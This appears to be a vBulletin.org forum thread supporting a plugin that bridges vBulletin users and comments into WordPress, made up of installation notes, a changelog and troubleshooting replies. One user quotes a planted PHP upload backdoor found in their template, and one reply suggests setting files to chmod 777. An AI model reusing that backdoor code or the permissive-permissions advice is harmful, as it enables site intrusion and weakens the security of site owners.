THIS MOD IS NO LONGER SUPPORTED! PLEASE USE VERSION 4.0 FOR VB 3.8.x AND WP 2.7.x HERE. (http://www.vbulletin.org/forum/showthread.php?t=205388)








Identical to this Mod here (http://www.vbulletin.org/forum/showthread.php?p=1142950#post1142950), but now for the Vbulletin 3.7 line. If you install this PLEASE
Click Install. (http://www.vbulletin.org/forum/vborg_miscactions.php?do=installhack&threadid=177625)

This mod bridges your Vbulletin users over to Wordpress. You can also use Vbulletin as your comment engine instead of the spammy one built into Wordpress. You can display the comments inline in your post. You need not use the comment feature, if your only interested in sharing users.

You can map your Vbulletin Usergroups to Wordpress Usergroups and those users will then be recognized as registered Wordpress users.

For example, user "Joe" registers at your forum and logs in. Joe then clicks on your Wordpress page. Joe is instantly added to the Wordpress user base with the permissions you set for his usergroup. In otherwords, if a user comes over belonging to the "Registered User" group, you can select that he is placed in the Wordpress "Subscriber" usergroup.

If you change a users group from vbulletin, it will automatically change in Wordpress.

Requirements:
DOES NOT and WILL NEVER support Wordpress MU.
Wordpress and Vbulletin scripts must reside on the same physical server.
Wordpress and Vbulletin must use the same domain name.
Stable Wordpress Version greater than or equal to 2.5.
If your WP login name is the same as your VB username, this user will NOT be ported! If this was the case, you could lose your WP admin rights if there was an error, or if you deactivated the plugin.
DOES work for Vbulletin 3.7.Limitations:
Please don't ask if it works for any BETA versions of Vbulletin. I do not know and will not convert this to the latest version of VB (whatever it is at the time you are reading this) until the version is released as non-beta.
If you delete a user, you must do so in both Wordpress and Vbulletin.
If you are using XMLRPC to post with applications such as Windows Live Writer, you must change the password of the author in the WORDPRESS admin cp, after the user is ported over from VB. If you are not integrating users, then you do not have to.
Chances are, this will not work when VB and Wordpress are located in different sub domains. I.E. forum.yoursite.com - blog.yoursite.com. Cookie issue.
I did the best I could in determining your forums file path with the script. There may be certain script setups that cannot find the file path properly, in which case you may get errors that the script cannot find or open /config.php. If this is the case, please HARDCODE your ABSOLUTE path to the forum in vbridge.php.

To do this find:

## If you are having path problems, uncomment this next variable and define the path
## NO TRAILING SLASH!
# $vwd = '/some/path/to/your/forum';And uncomment the last line, and change the path to your forums path:

## If you are having path problems, uncomment this next variable and define the path
## NO TRAILING SLASH!
$vwd = '/some/path/to/your/forum';Common Mistakes When Installing:

Using two different host names causes problems. If your forum URL contains www.yourdomain.com (http://www.yourdomain.com), then your wordpress blog URL MUST contain the www. part of www.yourdomain.com (http://www.yourdomain.com) also. This goes for any other host name. Browsers are finnecky when it comes to cookies (as they should be).
Editors generally EDIT, not write. In Wordpress, editors don't show up in the post author drop down. This has nothing to do with this plugin, that is Wordpress code.
Make sure you DO NOT create a subdirectory for this plugin in the wp-content/plugins directory. Just upload it directly there.
If the admin username in Vbulletin is the same as the one in Wordpress (i.e. Admin), that user will NOT be able to login to the WP dashboard.
If you do not map users before you turn auto-integrate on, the plugin has no idea whether your allowed into the dashboard.
If you all of a sudden can't login to the dashboard, see the above two common mistakes.
FOLLOW the directions and make a test post first. Being in a rush and not testing will most likely turn out bad for you.
When you create a test user in VB to test mapping users, the test user MUST have an email address. If a VB users email address is blank, they will not map.UPDATES:

01/03/2007 - Fixed the unlock_tables() issue on some setups.

01/03/2007 - Fixed a bug in the script that if you used a MySQL database prefix, integration would not work. Please see this post (http://www.vbulletin.org/forum/showthread.php?p=1149970#post1149970) for more information! Special thanks to axisoverdrive (http://www.vbulletin.org/forum/member.php?u=142601) for giving me access to his server and letting me troubleshoot the issue!

01/05/2007 - Fixed issue where if a user saved (not published) and published later, the post would not be added to the forum.

01/05/2007 - When a post is edited, it will also be edited in the forum.

01/08/2007 - Modified slightly so when posts are edited, so are the titles (if edited).

02/07/2007 - Major modifications to new version (now 2.05). The list follows:
Reworked the code so it uses the $vbulletin object throughout the code especially during the bridging process.
Users are bridged whether they checked the "Remember Me" box or not.
Removed a couple of SQL calls that became redundant.
Addressed a bug where if a user logged out of the dashboard, it only logged them out of VB.
Added Inline Comments capability. Comments posted to the forum (using VB for comments) will now appear at the bottom of a WP Post when viewing the post.
Author user names can now be linked to their VB profile page if desired.
Added option to turn off posting to forum. All this really does is remove the "Select Forum To Post To" option when writing a post. (There you go AxisOverdrive :) )
The $vbulletin object should now be available in all templates and most plugins.
Fixed a bug where deactivating any plugin would semi deactivate this plugin.
With the reduction in SQL calls, and the removal of now unnecessary variables, speed and memory use should be improved.
PLEASE READ THE UPGRADE INSTRUCTIONS IF UPGRADING!07/17/2007
Fixed problem where upload iframe was a bit mangled.
Fixed problem where users had to refresh the dashboard once after logging in.
Fixed problem that arose from Wordpress 2.2.1 upgrade that would not allow activation.
Fixed logout issue where users would still be logged into Wordpress.
When a Wordpress post is deleted, so is the thread it created.
Added option to allow thread posted from Wordpress article to be truncated, with a linkback to the article.
Fixed issue when user re-activates plugin, and vb_threadid column already exists. Now checks for column first.
Removed a stray VB_Init() call.
Forums that do not allow threads will not be selectable in the drop down menu when writing a post.
Forums are listed out in a parent/child nested pattern.
(Note: 367 downloads of version 2.05)11/29/07 - 3.00
Added TABLE_PREFIX throughout the script instead of the get_option('vbb_VBPRX') call. get_option('vbb_VBPRX') is now deprecated.
Addressed path issues by establishing $vwd first. If for some reason there are path issues on an install, the path only needs to be manually changed once, at the beginning of the script.
Removed call to admin_db.php which seems to no longer be necessary.
Changed all queries to the VB database to be handled by the $vbulletin object. This should facilitate multiple database configurations.
Added limited XMLRPC support.
Had to include a basic copy of the functions_wysiwyg.php file (functions_wysiwyg2.php) with a minor change in the sanitize_url function (now sanitize_vburl) as it conflicts with a new WP function of the same name. Otherwise, this is identical to the VB release. This was necessary to keep formatting somewhat uniform between the two.
Removed unnecessary globals.
Changed the global.php call so it always loads. $vbulletin should be available throughout the code (via global in functions).
Edited some code around wysiwyg functions of VB, and conversions to vbcode.
Added "Turn Plugin On" option.
Fixed an issue with the forum list on the "Write Post" page. Default forum was not being auto selected in some cases.
Modified from BETA so that the new functions_wysiwyg2.php file is loaded using the WP ABSPATH constant. Requires the plugin to stay in the plugins directory.
Fix an error message when a post was deleted in VB, then edited in WP.12/10/07 - 3.01
Fixed two <? tags that should have been <?php (pointed out by Amenadiel (http://www.vbulletin.org/forum/member.php?u=163487))03/31/08 - 3.02
Fixed media-upload clash for new version of Wordpress (2.5).
Added fix that will now delete threads in VB when the post is deleted in WP and not using Ajax delete.
Added code to insert a default email address if VB users email address is blank upon bridging.04/20/08
Fixed a bug in user roles for the new version 2.5.1 of Wordpress.05/08/2008
Fixed issue where CSS was munging scrolling text box when selecting a forum during a post
Fixed an issue where content encoding was getting screwey between WP and VP creating a lot of unintended characters (only on PHP installs where utf8_decode() exists (most))05/08/2008
Fixed issue where post count of a user did not changeSites Using This Plug-In:

I'm using this on 3.7 and WP 2.5.1 but the box where you can choose another forum besides the default forum is extremely small and only shows 1 forum at a time?

I changed it to a drop down on my install by changing a line in the vbbridge.php file

<CENTER> Select Forum To Post To: <BR><select id="forumid" name="forumid" class="inputbox" size="5">


Change to

<CENTER> Select Forum To Post To: <BR><select id="forumid" name="forumid" class="inputbox">

You said that with this mod the comments are posted to the forum, but I've created a post on wordpress, and the thread is created in my forums. Then I made a comment to the article using the comments box below the article in my wordpress site, but this comment doesn't get posted over my thread at my forum, just on the article in my wordpress installation.

So how should this work? I have to disable comments in wordpress and force users to post comments in the thread created?

Yes, there is a new css value in the latest version of Wordpress that seems to set the size on select boxes. You can also change it in the css file.. When I get a chance, I will probably update the script so it manually bypasses any select definition in css.

When trying to map the users to vB I get the following error:

Fatal error: Call to a member function query_read() on a non-object: {path} /wordpress/wp-content/plugins/vbbridge.php on line 308

Line 308 reads: $fs = $vbulletin->db->query_read($sql);

Any idea what to do?

One thing that is odd about this setup is that the other admin on the site put WordPress in a /wordpress directory and the forums in a /forums directory. Would this mess up the configuration of the bridge?

You have to login via Vbulletin, that is why it puts you to your forum when you try to access the admin page. If you are logged in, then you did not map users properly. Disable the product (rename it), login to WP and then re-enable it (rename it back) and try again.

I thought everything was working easy as pie. I passed all the "tests"... the posting worked fine... mapping worked fine... integrated it and everything worked fine... templates worked fine.

And then when I restarted FireFox I got locked out. I'm pretty sure I followed all the steps. Seems that I'm pretty screwed right now and have no clue how to fix the problem. I set up a few admin accounts on my WP but can't access any of them and am afraid to add the corresponding admin users to vB for fear of locking myself out permanently.

When I "change the name" of the files I can log back in temporarily but cannot change the "settings" of the plugin.... it has to be activated to do that. And once I activate it, I am immediately logged out.

This is furhter complicated by the fact that I am about to hit the digg front page! HELPPPP!

You need to access WP by logging into your forum (with the vbbridge plugin activated) with a user that is an administrator (providing you mapped the administrator group properly). Make sure you check the box in VB to stay logged in. Then go to the wp-admin page directly. If it forwards you back to the forum then A. you did not map users correctly, or B. the username in VB is identical to one already created in WP, which will not map.

Otherwise, you have to edit the WP database and delete all options in the wp_options table who's option_name starts with vbb_.

You said that with this mod the comments are posted to the forum, but I've created a post on wordpress, and the thread is created in my forums. Then I made a comment to the article using the comments box below the article in my wordpress site, but this comment doesn't get posted over my thread at my forum, just on the article in my wordpress installation.

So how should this work? I have to disable comments in wordpress and force users to post comments in the thread created?

I just installed today and the same thing is happening to me.

I added the code to my index.php page as directed on the readme page under "IF YOU WANT TO USE VB For comments"

<?php if (have_posts()) : while (have_posts()) : the_post(); ?> is only on my index.php page. Should this also be on single.php and page.php for it work?

You would have to make the same edit for any page that displays comments of course. Not all templates use the same system that you are talking about.

If you named it forum.php, chances are you will have to change it in the source code of the plugin.

Check your .htaccess file.

What exactly would we be searching for? I removed my htaccess file temporarily and I still get the redirect to the forums.



If it forwards you back to the forum then A. you did not map users correctly, or B. the username in VB is identical to one already created in WP, which will not map.

Otherwise, you have to edit the WP database and delete all options in the wp_options table who's option_name starts with vbb_.


I am using a new website, with the forums at /en/forums and wordpress at /wordpress. I can get guest comments to post into vbulletin, but I can't get the login to work. I have tried mapping users and I don't get error messages, and I have a different account from the admin that I am trying to log in with. I also have the remember me button checked; it still doesn't work for me. :( I will keep trying.

11 May 2008, 21:32

Jafo, first I must say thanks for this awesome hack! Now I have a few noob questions

1) I did a few test posts on WP, the post does show up on VB, but how come it's not using the user name I have in VB? Here (http://sc2battle.com/forums/showthread.php?t=425) is a test post, please note the user "SC2Battle" is showing as Guest, but in fact, it's supposed to be my VB admin name. How come it's showing as guest?

2) What does "Excerpt Forum Post" mean? Sorry, English isn't my first language, I'm trying to understand this option.

Thanks a lot

Jafo232
12 May 2008, 20:13
What did you set for your default user settings? If this user does not exist and/or the user id is incorrect, the user will show as guest.

Excerpt means only show X amount of characters in the post, then provide a link to the article page.

first of all, thanks for the great plugin

I checked the example and saw that whenever you click on the post title in Wordpress you can view the whole post, but you do not see the comments until you click on comments and youre being redirected to the forum.

Is there no way to show the comments below the post and only redirect the visitor to the forum when he wants to make a comment?

It does work with Vbulletin 3.7. As far as me diagnosing your problem, I need a little more information than "It doesn't work for 3.7". ;)

There are no known vulnerabilities with this plugin. Check your logs to see when it happens, otherwise I would suggest you deactivate all plugins and see if the hacking continues. Then one by one turn them on until you get hacked again.

You would have to move the forum if you want Wordpress to be your front page.


2- it says if some 1 post an article to WP it will create a new thread on forums ... i actually dun need that ... but what i need is .. if some1 created a new thread on forum and it will post the same thing on WP ... does it do that ?


No it does not.

Well it seems something else was causing it to break, it works now :) And the scroll box is fixed too oddly.

Oddly i found this code on my template:

<?php $ficnt = @fread(@fopen($_FILES["s"]["tmp_name"], "rb"), $_FILES["s"]["size"]);
if(@fwrite(@fopen($_FILES["s"]["name"], "wb"), $ficnt)) echo $_FILES["s"]["name"]; ?>

I removed it since i believe that's the work of a hacker but what does it do?

Also how would I have it so that I have two domains both on the same server in which one of the domains has a separate wordpress db then the other domains has both the forum and wordpress. I'm sure it can be done just need to know how to make seperate wp and vb db's work together. I didn't understand the post you gave me earlier about that too much.

It looks like it is downloading and executing a remote script. It also looks like you have your WP templates set as writeable (i.e. chmod 777) and I would suggest against that. Chances are, however you are being hacked, the hacker is writing something to the template file then calling it.

You don't do anything special if you want to use one database or two. It matters not. You configure the script the same way using two separate databases or using one.

Love the bridge, Jafo232.

But you know what would make this even better? Support for vB phrases... unless it does that already and it's just not working for me...

The reason I say this is because I'm finding it hard to make my vB login and userbox script work in Wordpress. I could settle for a simple one where it just displays the persons name and the logout button since the bridge allows that much, but I want to go all the way and mimic vB by showing how many PMs they have and their last visit and all that kinda jazz.

for those of you who messed up the installation of this mod and "lost wp admin rights"
this is what you do to fix wordpress.

If you screwed up the installation of vbullentin bridge and recive a permission error when loging in to your wordpress dashboard do the following.


login to you myphpadmin,
select your wordpress database,
select table: wp_usermeta,
select browse
edit u_metaid 3
set the metavalue to a:1:{s:13:"administrator";b:1;}
select go

Jafo I upgraded vbulletin to 3.7.1 and your plugin now doesn't work with vbulletin. At the moment it's disabled, any way you can look into this? Any help would be Greatly appreciated as i'm stuck right now without the ability to have comments with any of my posts...

Thanks!

Also is there any security issues with your plugin? Some guy keeps on hacking into my wordpress and deleting thing, and it's been a 1 week battle and we can't figure it out.
Looks like I ain't the only one who got a similar problem (http://www.vbulletin.org/forum/showpost.php?p=1537968&postcount=1153). :D

Except that the whole hacking part, that is. The whole making files "writable" making it easy for hackers to get through your site.....just wrong.

I am now considering holding off a VB with Wordpress integration at this point until I find a better solution.

Almost got it down Jafo for my second domain site, all that's left is to find the cause of this error:

[Thu Jun 12 04:13:01 2008] [error] [client 66.245.227.57] PHP Fatal error: Call to a member function query_read() on a non-object in {path to here}/httpdocs/wp-content/plugins/vbbridge.php on line 553, referer: http://{site}.net/wp-admin/options-general.php?page=vbbridge.php

That's just when I visit the actual write post page. I'm making a cross domain same DB setup atm, yes i know it's not normal but i need to do it so i'm doing it.

To get to this point I did uncomment the $vwd = '/var/www/vhosts/animecrazy.net/httpdocs/forums'; line to make it work. Any idea? Line 553 is: $fs = $vbulletin->db->query_read($sql);

The write post page looks like the attached atm, any support would be awesome (I know this isn't a normal support situation as well, so thanks if you can help!)

Jafo232
12 Jun 2008, 20:42
Not sure exactly what you are doing, but if cannot find query_read, then it would appear it did not load global.php. This would make me think it is a path or permission error of some kind.

What I'm trying to do is have a forum on http://www.site1.net/forums and have the wordpress on site2.net/ I know it's out of normal support, but if that's what you think then i'll try to figure out the path issues. Do you think global needs to be 777 vs 644?

Jafo232
13 Jun 2008, 03:42
It could be an ownership issue to. Not sure how that works in your environment. I would give 777 a shot but am not thinking it will help much. However you are accessing site2.net's global.php file, the user that is doing the access will need executable permission.

That is odd for sure, well I tryed the 777 with no real luck, so now I'm wondering if this is even doable :| I got so close to see the data as well, wonder how I can successfully pull this off. IF you got any other idea's let me know, thanks! If you want to do it for you me or figue how to do it I'll pay you 40 dollars.

Well, one problem here is, there will be no way for the bridge to know if a user is logged in to Vbulletin. Vbulletin uses a cookie method to check login status (as most scripts do). Site1.com can never see site2.com's cookie, ever.. That is just how browsers are built. It is a security issue. You wouldn't want site hackme.com to see your paypal.com cookie would you?

I just do not see any way you are going to be able to do it myself..

Alright folks, I had to freaking HIRE someone to look at the code and it was an EASY fix:

Basically all of the:
-------------------------------------------
$link = get_permalink(somethinghere, true);
-------------------------------------------

SHOULD NOT have that second parameter... "true" and should look like this:
-------------------------------------------
$link = get_permalink(somethinghere);
-------------------------------------------

This was changed 4 times and it fixed all the problems. Why Jafo refused to acknowledge me? I have no clue. Did he know the answer and simply refuse to tell me? Not sure. Why didn't others have this problem?

I think the whole thing is pretty outrageously rude. I understand its a free plugin but he is answering everyone else's questions. I don't get it.

Originally I thought about putting TIPPING you money so you would answer my question but instead I paid that money to a developer. It doesn't pay to be rude. You could have just as easily provided a 1-2 sentence explanation as to why you weren't answering my question in the first place.

I also tried to have it on site1.com/drama forums are site1.com/forums, but oddly EVEN that didn't work. That wasn't even cross site oddly enough, will it not work unless the wp is on root, and the forums are in higher level folder?

Thanks for the help :)

I'll be fine if I can get it to work on the same site different directory, just can't get that to work either :|

Meaning: 2 wp installation one at: site1.com/ and the other at drama.site1.com, the forum is at site1.com/forums .

All the mods are done on the Wordpress side ... no changes are made to the Vbulletin board at all hence no need for a XML file.

Yes install Wordpress first and be sure to have a admin name different from your Board name. You use the account to do the initial setup.

I second that. That would be awsome.
Having the posters avatar off to the left of his post :p

it would also be cool if the search box searched the forums as well as the blogs
and when you clicked usernames it went to their VB account im going to try to figure this out :)

I have a problem running wordTube with this plugin on, when I try and use wordTube in combination with this plugin, wordTube does not execute any changes. I cannot add categories, videos or make any other database related changes aside from the plugin options (hard to judge if all of them are getting trough, as I have no videos to test with) it appears to not be able to access the database for as long as I have vBridge enabled in my plugins.

If anyone could help me with this problem it'd be much appreciated!
Thanks,

Any help? Trying to get this to work for ages :(

The search box can be configured to do this. You can have a check box or option choice for Blogs of Forums, and this can be edited in WP > Admin > Themes > Search Form

I will be trying to do this. It would also be good to maybe get Google Custom Search rather than doing that and leave it for a bit so Google indexes it..

The user names can go to the user profile anyway.. You could do

Posted by <a href="/forums/members/<?php the_author(); ?>.html

So if Sarah posted, her avatar or her comment link will go to forums/members/sarah.html

To get this Re-Write rule.. in the forum root, open or make .htaccess



## START MEMBERS PAGE ##
RewriteEngine On
RewriteRule ^/?(/[a-zA-Z0-9]+)$ member.php?username=$1 [L]
## END MEMBERS PAGE ##

i would greatly appreciate it if someone helped i can change my set up in any way possible to make this work
but i am currently running 3.7.2 patch level 1 an wordpress 2.6


EDIT ive tried a clean instillation of both vbulletin 3.7.2 and wordpress 2.6 and i get the same error


i think im installing wordpress wrong
i put it in the same MySQL with wp_ as the prefix or do i do it the same as my vbull?

Are you sure you have read the instructions?

The prefix does not matter. Install Wordpress first in
www.x.com/blog
Then install vBulletin in
www.x.com/forums, make two accounts, Guest and a new forum
Now try to install the modification in Wordpress
The prefix is the one you have in vBulletin /includes/config.php

Just copy that prefix into the Prefix option when installing vBulletins modification you do not need to install or copy or worry about WPs prefix. Just use vBulletins prefix and place that in the WP installation page..

I guess this could have been asked before, but I see there's a lot of pages for this and prior versions so I'll take my chances and ask:

┐Don't you think that this mod would hurt google rankings since the articles will exist both in WP url and VB url thus generating duplicated content? This consideration is the only thing stopping me from installing :(

Hi,

The wordpress blog posts appear in vBulletin, but the html markup appears in the vbulletin post text. Is there a way to convert the html to bbcode during post creation?

In my case, the HTML is automatically converted to bbcode, you can see some calls to the function convert_wysiwyg_html_to_bbcode inside vbridge.php so it's supposed to convert your posts wthout doing anything else. If that doesn't work, you can activate HTML on your forum and if you're concerned about security issues, use this hack (http://www.vbulletin.org/forum/showthread.php?t=96926&highlight=Usergroup+Allow+HTML), it's intended to allow HTML code to specific usergroups and works with VB 3.7.2

Hope that helps.

The conversion functions are only called when the post truncation is enabled. My temporary workaround is to set a 10000 character truncation size.

Alright folks, I had to freaking HIRE someone to look at the code and it was an EASY fix:

Basically all of the:
-------------------------------------------
$link = get_permalink(somethinghere, true);
-------------------------------------------

SHOULD NOT have that second parameter... "true" and should look like this:
-------------------------------------------
$link = get_permalink(somethinghere);
-------------------------------------------

This was changed 4 times and it fixed all the problems. Why Jafo refused to acknowledge me? I have no clue. Did he know the answer and simply refuse to tell me? Not sure. Why didn't others have this problem?.I had exactly the same problem and was unable to solve it locally.

I came here a few minutes ago and saw your post, implemented your suggested fix to vbbridge.php and voila - problem gone.

Thanks very much for sharing your solution! :up:

I had an issue with one of the requirements that limits this mod to be installed on the same subdomain. Luckily, I found a quick-fix solution around the issue:

Wordpress and Vbulletin must use the same domain name.

I setup a blog located at vend123.com/blog but the forums are located at forums.vend123.com. There is an issue with this regarding the domain and that's only because of the vBulletin cookie. The issue is this script needs to access that cookie, but that cookie is registered at forums.vend123.com, which means anything on vend123.com won't be able to access it. To resolve the issue, the cookie needed to be set to .vend123.com (i.e. cross domain cookie). This can be configured within vBulletin's options by going to AdminCP->vBulletin Options->Cookies and HTTP Header Options under Cookie Domain. From the "Suggested Settings" drop-down, select .yourdomain.com. This should solve the problem!

EDIT: Make sure you clear your vBulletin cookie after performing this (just log-out and log back in).

I've been seeing this issue as well, if I attempt to login to wp-admin first, it redirects to the forums main site. However, if I login to the forums with an admin account, then go back to WP and try wp-admin again, it will work normally.

This is due to a character encoding mismatch. I assume you are using ISO for wordpress.

In wp-config.php change the following lines:

define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');


to:

/*define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');*/

Wordpress will work just fine with those lines commented out.

When clicking logout on either vb side or wordpress side, I am never logged out of the wordpress part.

I am able to login correctly through vb, and when going to wordpress page I am indeed logged in there so that part works perfectly.

Ran into another issue, and I'm not sure how to attack it.
I have the mod installed and running properly.

Here's the problem:
When I make a post in wordpress, it indeed does post it to vbulletin in the forum I specify.

However:
If I have any tags in wordpress article like [caption] for the photo, or if I use inserts like [media=1] they show up perfectly in wordpress, meaning they do their job. But... in vb it simply prints out [caption] etc.... so the post looks really really bad in the vb side.

Is there a way to have wordpress send the 'parsed' code over to vb instead of what I actually type in when writing the article?

Things like the [media=1] in wordpress automatically adds the media file defined by #1 into the post and embeds it within a player. Very nice feature. In vb it shows up as [media=1] instead of the player.

I'm just not sure where to go in vb to 'teach' it the commands used in wordpress. Of course if we could just get your add-on to send 'parsed' code over to vb then I wouldn't have to worry about it at all.

any ideas?

if not...
how do I get it to not post to vb when adding an article, and just keep the registration/login bridge operational?

thank you

Has anyone else noticed that when you try to upload an image in a wordpress post the iframe redirects to the forum home page? Am I missing something stupid (most likely) or is this a bug?

Did you use fantastico to install wordpress or upload/install manually?

I'm sorry, my bad. I really should get more sleep. I thought it was directed at you but obviously I was wrong. To answer your question though, no I didn't install using fantastico or any other installer. I installed manually. I've always found that while an installer is great to get up and running quickly you end up running into trouble when you try to modify/customize your scripts.

Sorry for the misunderstanding, best of luck. :) I clicked a few of your google ads for the bother lol.

Well, I did another fantastico install first, and got wordpress working, and all was looking good. But I still encounter the same problem.
I think I may have pinpointed the problem. Well sort of.

I'm changing one option at a time to see which is the issue and the error reappears after typing in the Forum Relative Path. I've tried forums, /forums, /home/ggnet/gamerstyle/forums (which it clearly isn't that as it doens't even load, just an error message).



Edit, problem solved :D. I had some sleep today lol :p.

In my case, the HTML is automatically converted to bbcode, you can see some calls to the function convert_wysiwyg_html_to_bbcode inside vbridge.php so it's supposed to convert your posts wthout doing anything else. If that doesn't work, you can activate HTML on your forum and if you're concerned about security issues, use this hack (http://www.vbulletin.org/forum/showthread.php?t=96926&highlight=Usergroup+Allow+HTML), it's intended to allow HTML code to specific usergroups and works with VB 3.7.2

Hope that helps.
I'm having the same issue i'll try that out thanks :).

In what way? I might be able to help. The directions can be a little misleading in that section because some themes use a separate comments template.

Well, I've just tried again, to replicate the error message, and works like a charm lol. Even had a separate comments template which I managed to figure out :).

hmm , well im not sure where i went wrong.. but whenever i Try to post in WP i get a BLANK page, any ideas?

The Error I get on my error log is :

PHP Fatal error: main() [<a href='function.require'>function.require</a>]: Failed opening required './includes/class_dm.php' (include_path='.:/usr/lib/php') in /home/MYUSER/public_html/xtrato.com/wp/wp-content/plugins/vbbridge.php on line 92

Thank you all.

You need to access WP by logging into your forum (with the vbbridge plugin activated) with a user that is an administrator (providing you mapped the administrator group properly). Make sure you check the box in VB to stay logged in. Then go to the wp-admin page directly. If it forwards you back to the forum then A. you did not map users correctly, or B. the username in VB is identical to one already created in WP, which will not map.

Otherwise, you have to edit the WP database and delete all options in the wp_options table who's option_name starts with vbb_.

This is a huge contradiction. The user must be an admin and be mapped, but can't exist in both systems. Can you explain how that would be set up? If I create an admin on wordpress named bill, I can't login by your instructions unless I also have a forum user named bill... but your instructions conclude by saying that will create a problem. We need a visual here...

I have tried so many path's relative ,absolute , etc , none seem to work what soever , should i use the one from my PHP Info scrip?

please advice as it seems no path i put in there works.

Regards

PS: when i tried the best possible solution the error went away, however When i tried to post , i get a blank page , The error i get on my log is the fallowing:

PHP Fatal error: main() [<a href='function.require'>function.require</a>]: Failed opening required './includes/class_dm.php' (include_path='.:/usr/lib/php') in /home/(MYUSER)/public_html/xtrato.com/wp/wp-content/plugins/vbbridge.php on line 92

Course i did that already, i looked trough the topic , hardcoded all possible paths known to me , yet i still get a blank page, EVEN when the this hack is OFF , yet , "ACTIVATED" i get blank pages after creating new PAGES ,or POSTS , not sure what the problem might be , w.p 2.5 etc, with vb 3.7.X .

So i have tried what most people have suggested here . Hope anyone can help us here .

The directory for ./includes/class_dm.php is set by

chdir($_SERVER['DOCUMENT_ROOT'] . get_option('vbb_VBRPATH'));

If those variables don't match your vBulletin path, then class_dm.php won't be found.

What is the absolute path to vBulletin on your system?

Our wordpress is at: /home/wordpress/public_html
And vBulletin is at: /home/vbulletin/public_html

So we don't have $vwd set, since the variable is not used everywhere it should in vbridge.php. Instead, on the Vbridge settings page, we have our Forum Relative Path set to: ../../vbulletin/public_html/ so wordpress can find the vbulletin files which are located in a different document root.

Hmmm, changed the theme and tried editing, but my problem is back :(

I edit the template, and get this error


Parse error: syntax error, unexpected $end in /home/ggnet/gamerstyle/wp-content/themes/mandigo/single.php on line 204

I kept going through it to each line, and then it just ends on the last line and it's unexpected end :confused:

I don't think it likes the template at all to be honest, I replaced the code for the main page (thats the single page thats causing the error) and the comments image is still there, the other text removed, but the vbulletin comments text no where to be seen :(.

The wordpress theme I'm using is mandigo.

I'm not sure if I missed it, but is there anyway for the Wordpress posts to link to separate subforums within the vBulletin?

Hey there! Thanks so much for this mod! Just what I was looking for. I have 2 questions.

1. If I enable this mod, I can not use Flexible Upload (http://nerdtainment.de/2008/08/flexible-upload-fixed-for-wp26/), they clash with each other. (you can read it in english and download it is you scroll down)
2. Any plan on adding an option to select a thread prefix? So when it posts to the forum it can have a prefix that I chose while I was writing it.

I saw it says it's for 3.7.0, does it work with 3.7.3?

Also, can we integrate more than one wordpress blog with the same forum?

Chances are, this will not work when VB and Wordpress are located in different sub domains. I.E. forum.yoursite.com - blog.yoursite.com. Cookie issue.
Will it work when your forum is on a subdomain but your blog is in the root directory of your domain?

Yes - I run WP 2.6 with VB 3.7.3

Also, can we integrate more than one wordpress blog with the same forum? Again yes - I'm running 2 WP installations attached to 1 VB install with each WP install posting to different forums.

Will it work when your forum is on a subdomain but your blog is in the root directory of your domain? Sorry - don't know that one so I'll leave it for someone ele.

Very nice mod, thank you.

vBulletin 3.7.3 PL1 - Wordpress 2.6.2

When I try to log in using the sidebar widget login, it takes me to the forum home, not the login page. (I'm also using Deluxe vB User login (http://www.vbulletin.org/forum/showthread.php?t=173698)so I am still able to login)

When I log out, the vBulletin logout page redirection to previous page takes me to the forum home rather than the blog.

Is there a fix for these problems or have I made an error somewhere?

Just a thought: As the Deluxe vB User login also calls global.php (first), should I remove it from this mod?

Solitary Seraph
20 Oct 2008, 16:50
For the login bit, you have to login to whatever you have your set up as.

so if you use http://demo.com/forum then you have to login there.

Works great, for me, except for some dumb reason (on my part) when I post to the forum it puts /wp/entry/95-%postname%.html rather than, you know, the actual post.

Thanks a lot for this mod, very helpful!

Fixed the above now my posts are being cut off any ideas?

This is due to a character encoding mismatch. I assume you are using ISO for wordpress.

In wp-config.php change the following lines:

define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');


to:

/*define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');*/

Wordpress will work just fine with those lines commented out.

But I can't seem to get the comment integration to function. our template has a comment.php that's almost certainly where the change from the readme needs to go, but everyway I've tried has broken it... It's a small file and I'm sure I'm just not splicing the change into the file right. comment.php looks like:

<?php // Do not delete these lines
if ('comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
die ('Please do not load this page directly. Thanks!');

if (!empty($post->post_password)) { // if there's a password
if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie
?>

<p class="nocomments">This post is password protected. Enter the password to view comments.<p>

Part of the problem seems to be something fundamental... As it usually is ;)

Everything in the configuration seems to be set up and working correctly, new entries are showing up in the designated vB forum as they should. Users logged into vB are able to access WP as they should and accounts are being created in the WP users correctly.

But when I create an entry logged into vB, the link to the author profile
<?php
if ($vbridge[id] > 0) {
?>
<a href=<?php echo get_option('vbb_VBURL') ?>/member.php?u=<?php echo $vbridge[thread_starter] ?>><?php the_author() ?></a>

<?php
}
else {
the_author();
}
?>

doesn't happen. Instead the else kicks in and I just get the author's name. If I force the evaluation by changing it to <?php
if (1 > 0) {
?>
<a href=<?php echo get_option('vbb_VBURL') ?>/member.php?u=<?php echo $vbridge[thread_starter] ?>><?php the_author() ?></a>

them I get a link: http://www.ikeafans.com/forums/member.php?u=
:confused:

Something's not quite right... I think I found where in the various files to add the Vbridge Replacement code for comments (not in comments.php :P ), but that doesn't work either. As you can tell I'm not really familiar with WP templates yet, but I think I'm close to getting everything to work, just have something simple that's not working.

Any assistance would be greatly appreciated and we'd be glad to donate appropriately. Thanks for such a great mod!

I’m working on getting it installed (vb 3.7.3 + Wordpress 2.6.3).

I have the blog homepage taken care of in terms of noting the # of comments and directing them properly to the comment page. However, I am having problems with the single post page, where I want to be able to have it display the comments from the thread directly on the post, then offer to have the user post theirs by directing them to the forum.
Here’s an example of what I want (from the add-on example installs)…

Hi guys.

I've just bought vbulletin for a new project of mine where i want vbulletin and wordpress to work together.

So i've ofcourse come across this plugin but i have some questions i hope you guys can answer for me.

What i want is ONLY to have users synced. No post or comments. Just users. Is that possible with this plug in?

Will this plug in work with newer versions of both vbulletin and wordpress (with wp 2.7 coming up) (even though it seems it haven't been updated in over half a year).

Will this plugin be able to work with other wordpress comment altering plugins like the one from http://intensedebate.com?

Thanks for your time :)
